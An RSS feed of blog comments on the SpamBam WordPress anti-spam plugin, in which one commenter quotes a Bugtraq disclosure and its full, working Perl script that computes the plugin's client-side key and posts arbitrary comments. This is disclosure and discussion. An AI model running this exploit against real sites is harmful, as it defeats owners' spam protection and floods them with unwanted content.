<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Spambam hits 1000 downloads</title>
	<atom:link href="http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/</link>
	<description>Javascript blog with messed up syntax inside</description>
	<lastBuildDate>Thu, 26 Jan 2012 01:38:34 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
	<item>
		<title>By: martijn</title>
		<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1551</link>
		<dc:creator>martijn</dc:creator>
		<pubDate>Sun, 10 May 2009 08:57:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1551</guid>
		<description>ok nice, despite the exploit it still adds effective protection.</description>
		<content:encoded><![CDATA[<p>ok nice, despite the exploit it still adds effective protection.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Gareth Heyes</title>
		<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1550</link>
		<dc:creator>Gareth Heyes</dc:creator>
		<pubDate>Sun, 10 May 2009 08:08:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1550</guid>
		<description>@martijn

Yep it&#039;s true the exploit works using javascript server side, so spambam isn&#039;t perfect but I&#039;ve haven&#039;t noticed a increase in spam since the exploit was released. So I&#039;ll continue to use it while my blog stays spam free</description>
		<content:encoded><![CDATA[<p>@martijn</p>
<p>Yep it&#8217;s true the exploit works using javascript server side, so spambam isn&#8217;t perfect but I&#8217;ve haven&#8217;t noticed a increase in spam since the exploit was released. So I&#8217;ll continue to use it while my blog stays spam free</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: martijn</title>
		<link>http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1549</link>
		<dc:creator>martijn</dc:creator>
		<pubDate>Sat, 09 May 2009 18:14:55 +0000</pubDate>
		<guid isPermaLink="false">http://www.thespanner.co.uk/2007/05/23/spambam-hits-1000-downloads/#comment-1549</guid>
		<description>when i saw this, i hoped i stumbled upon a nice form protection solution, though after some googling i did found it has a by design build serious flaw that does makes it bypassed easely.

see:

http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html

The attached exploit demonstrates that the WordPress SpamBam plugin can
be bypassed due to relying on the client for security.

Vulnerable software:
SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

Vulnerability:
No matter how hard you ofuscate or encrypt your code, never, under no
circunstances, rely any security aspect on the client. Never!

How the plugin works:
It generates a pseudo-random code both on the client and the server to
generate a key.
On form submit, both key values are checked and they should match to
allow comment insertion.

How the exploit works:
It does nothing but acting as a client. It parses the html, extracts
the javascript, process it to calculate the key and fills the hidden
field with it.

Solution:
There&#039;s no fix for this. It&#039;s a design flaw.

#!/usr/bin/perl -w

# Defeating SpamBam exploit
# by Jose Palazon (josem.palazon@xxxxxxxxx) (a.k.a. palako)

# Vulnerable software:
# SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes

# Vulnerability:
# No matter how hard you ofuscate or encrypt your code, never, under no circunstances, rely
# any security aspect on the client. Never!

# How the plugin works:
# It generates a pseudo-random code both on the client and the server to generate a key.
# On form submit, both key values are checked and they should match to allow comment insertion.

#How the exploit works:
# It does nothing but acting as a client. It parses the html, extracts the javascript, process it
# to calculate the key and fills the hidden field with it.

# Solution:
# Sorry guys but there&#039;s no fix for this. It&#039;ss just a design flaw.

use WWW::Mechanize;
use JavaScript::SpiderMonkey;

my $tmpContent;
my $javascriptCode;
my $spamBamKey;

die (&quot;Usage: spambam.pl &lt;post url&gt; &lt;author&gt; &lt;email&gt; &lt;comment&gt;\n&quot;) unless $ARGV[3];

my $url = $ARGV[0];
my $author = $ARGV[1];
my $email = $ARGV[2];
my $comment = $ARGV[3];

my $mech = WWW::Mechanize-&gt;new( autocheck =&gt; 1 );

$mech-&gt;get($url);

# WWW::Mechanize doesn&#039;t support javascript, so the field comment_spambamKey won&#039;t be
# recognized by $mech-&gt;field. Thus, I&#039;ll make an update_html adding the field, and for
# this purpose I save first the original contents. Indeed, substitition occurs via the
# javascript callback function &quot;extractKey&quot;
$tmpContent = $mech-&gt;content;


# Eliminate carriage returns to apply sed. Later I&#039;ll have to restore them
# to execute the javascript code, as not every line is semicolon terminated.
# That&#039;s the reason of the __WHO_BAMS_WHO__ string.
$_ = $mech-&gt;content;
s/\n/__WHO_BAMS_WHO__/g; 

# Extract the javascript code and the name of the variable where the key is going to be calculated
/&lt;script type=&quot;text\/javascript&quot;&gt;(.*)document\.write\(&#039;&lt;input type=&quot;hidden&quot; name=&quot;comment_spambamKey&quot; value=&quot;&#039;\+(.*)\+&#039;&quot;&gt;&#039;\);/g; 
$javascriptCode = $1;
$spamBamKey = $2;

# Add the javascript instruction  which will comunicate the key to the perl code.
$javascriptCode .= &quot;\nextractKey($spamBamKey);&quot;;

my $js = JavaScript::SpiderMonkey-&gt;new();
$js-&gt;init();  # Initialize Runtime/Context

# Define perl callback for extracting the key from the javascript code
$js-&gt;function_set(&quot;extractKey&quot;, sub { $tmpContent =~ s/&lt;\/form&gt;/&lt;input type=\&quot;hidden\&quot; name=\&quot;comment_spambamKey\&quot; value=\&quot;@_\&quot;&gt;&lt;\/form&gt;/; });

# Restore Carriage returns and execute javascript code
$javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;
my $rc = $js-&gt;eval($javascriptCode); 
$js-&gt;destroy();

# Process form
$mech-&gt;update_html( $tmpContent );
$mech-&gt;form_number(1);
$mech-&gt;field(&quot;author&quot;, $author);
$mech-&gt;field(&quot;email&quot;, $email);
$mech-&gt;field(&quot;comment&quot;, $comment);
$mech-&gt;submit();

printf(&quot;Check it. Comment should have been added\n&quot;);</description>
		<content:encoded><![CDATA[<p>when i saw this, i hoped i stumbled upon a nice form protection solution, though after some googling i did found it has a by design build serious flaw that does makes it bypassed easely.</p>
<p>see:</p>
<p><a href="http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html" rel="nofollow">http://archive.cert.uni-stuttgart.de/bugtraq/2008/01/msg00197.html</a></p>
<p>The attached exploit demonstrates that the WordPress SpamBam plugin can<br />
be bypassed due to relying on the client for security.</p>
<p>Vulnerable software:<br />
SpamBam (<a href="http://wordpress.org/extend/plugins/spambam/" rel="nofollow">http://wordpress.org/extend/plugins/spambam/</a>) by Gareth Heyes</p>
<p>Vulnerability:<br />
No matter how hard you ofuscate or encrypt your code, never, under no<br />
circunstances, rely any security aspect on the client. Never!</p>
<p>How the plugin works:<br />
It generates a pseudo-random code both on the client and the server to<br />
generate a key.<br />
On form submit, both key values are checked and they should match to<br />
allow comment insertion.</p>
<p>How the exploit works:<br />
It does nothing but acting as a client. It parses the html, extracts<br />
the javascript, process it to calculate the key and fills the hidden<br />
field with it.</p>
<p>Solution:<br />
There&#8217;s no fix for this. It&#8217;s a design flaw.</p>
<p>#!/usr/bin/perl -w</p>
<p># Defeating SpamBam exploit<br />
# by Jose Palazon (josem.palazon@xxxxxxxxx) (a.k.a. palako)</p>
<p># Vulnerable software:<br />
# SpamBam (<a href="http://wordpress.org/extend/plugins/spambam/" rel="nofollow">http://wordpress.org/extend/plugins/spambam/</a>) by Gareth Heyes</p>
<p># Vulnerability:<br />
# No matter how hard you ofuscate or encrypt your code, never, under no circunstances, rely<br />
# any security aspect on the client. Never!</p>
<p># How the plugin works:<br />
# It generates a pseudo-random code both on the client and the server to generate a key.<br />
# On form submit, both key values are checked and they should match to allow comment insertion.</p>
<p>#How the exploit works:<br />
# It does nothing but acting as a client. It parses the html, extracts the javascript, process it<br />
# to calculate the key and fills the hidden field with it.</p>
<p># Solution:<br />
# Sorry guys but there&#8217;s no fix for this. It&#8217;ss just a design flaw.</p>
<p>use WWW::Mechanize;<br />
use JavaScript::SpiderMonkey;</p>
<p>my $tmpContent;<br />
my $javascriptCode;<br />
my $spamBamKey;</p>
<p>die (&#8220;Usage: spambam.pl &lt;post url&gt; &lt;author&gt; &lt;email&gt; &lt;comment&gt;\n&#8221;) unless $ARGV[3];</p>
<p>my $url = $ARGV[0];<br />
my $author = $ARGV[1];<br />
my $email = $ARGV[2];<br />
my $comment = $ARGV[3];</p>
<p>my $mech = WWW::Mechanize-&gt;new( autocheck =&gt; 1 );</p>
<p>$mech-&gt;get($url);</p>
<p># WWW::Mechanize doesn&#8217;t support javascript, so the field comment_spambamKey won&#8217;t be<br />
# recognized by $mech-&gt;field. Thus, I&#8217;ll make an update_html adding the field, and for<br />
# this purpose I save first the original contents. Indeed, substitition occurs via the<br />
# javascript callback function &#8220;extractKey&#8221;<br />
$tmpContent = $mech-&gt;content;</p>
<p># Eliminate carriage returns to apply sed. Later I&#8217;ll have to restore them<br />
# to execute the javascript code, as not every line is semicolon terminated.<br />
# That&#8217;s the reason of the __WHO_BAMS_WHO__ string.<br />
$_ = $mech-&gt;content;<br />
s/\n/__WHO_BAMS_WHO__/g; </p>
<p># Extract the javascript code and the name of the variable where the key is going to be calculated<br />
/&lt;script type=&#8221;text\/javascript&#8221;&gt;(.*)document\.write\(&#8216;&lt;input type=&#8221;hidden&#8221; name=&#8221;comment_spambamKey&#8221; value=&#8221;&#8216;\+(.*)\+&#8217;&#8221;&gt;&#8217;\);/g;<br />
$javascriptCode = $1;<br />
$spamBamKey = $2;</p>
<p># Add the javascript instruction  which will comunicate the key to the perl code.<br />
$javascriptCode .= &#8220;\nextractKey($spamBamKey);&#8221;;</p>
<p>my $js = JavaScript::SpiderMonkey-&gt;new();<br />
$js-&gt;init();  # Initialize Runtime/Context</p>
<p># Define perl callback for extracting the key from the javascript code<br />
$js-&gt;function_set(&#8220;extractKey&#8221;, sub { $tmpContent =~ s/&lt;\/form&gt;/&lt;input type=\&#8221;hidden\&#8221; name=\&#8221;comment_spambamKey\&#8221; value=\&#8221;@_\&#8221;&gt;&lt;\/form&gt;/; });</p>
<p># Restore Carriage returns and execute javascript code<br />
$javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;<br />
my $rc = $js-&gt;eval($javascriptCode);<br />
$js-&gt;destroy();</p>
<p># Process form<br />
$mech-&gt;update_html( $tmpContent );<br />
$mech-&gt;form_number(1);<br />
$mech-&gt;field(&#8220;author&#8221;, $author);<br />
$mech-&gt;field(&#8220;email&#8221;, $email);<br />
$mech-&gt;field(&#8220;comment&#8221;, $comment);<br />
$mech-&gt;submit();</p>
<p>printf(&#8220;Check it. Comment should have been added\n&#8221;);</p>
]]></content:encoded>
	</item>
</channel>
</rss>

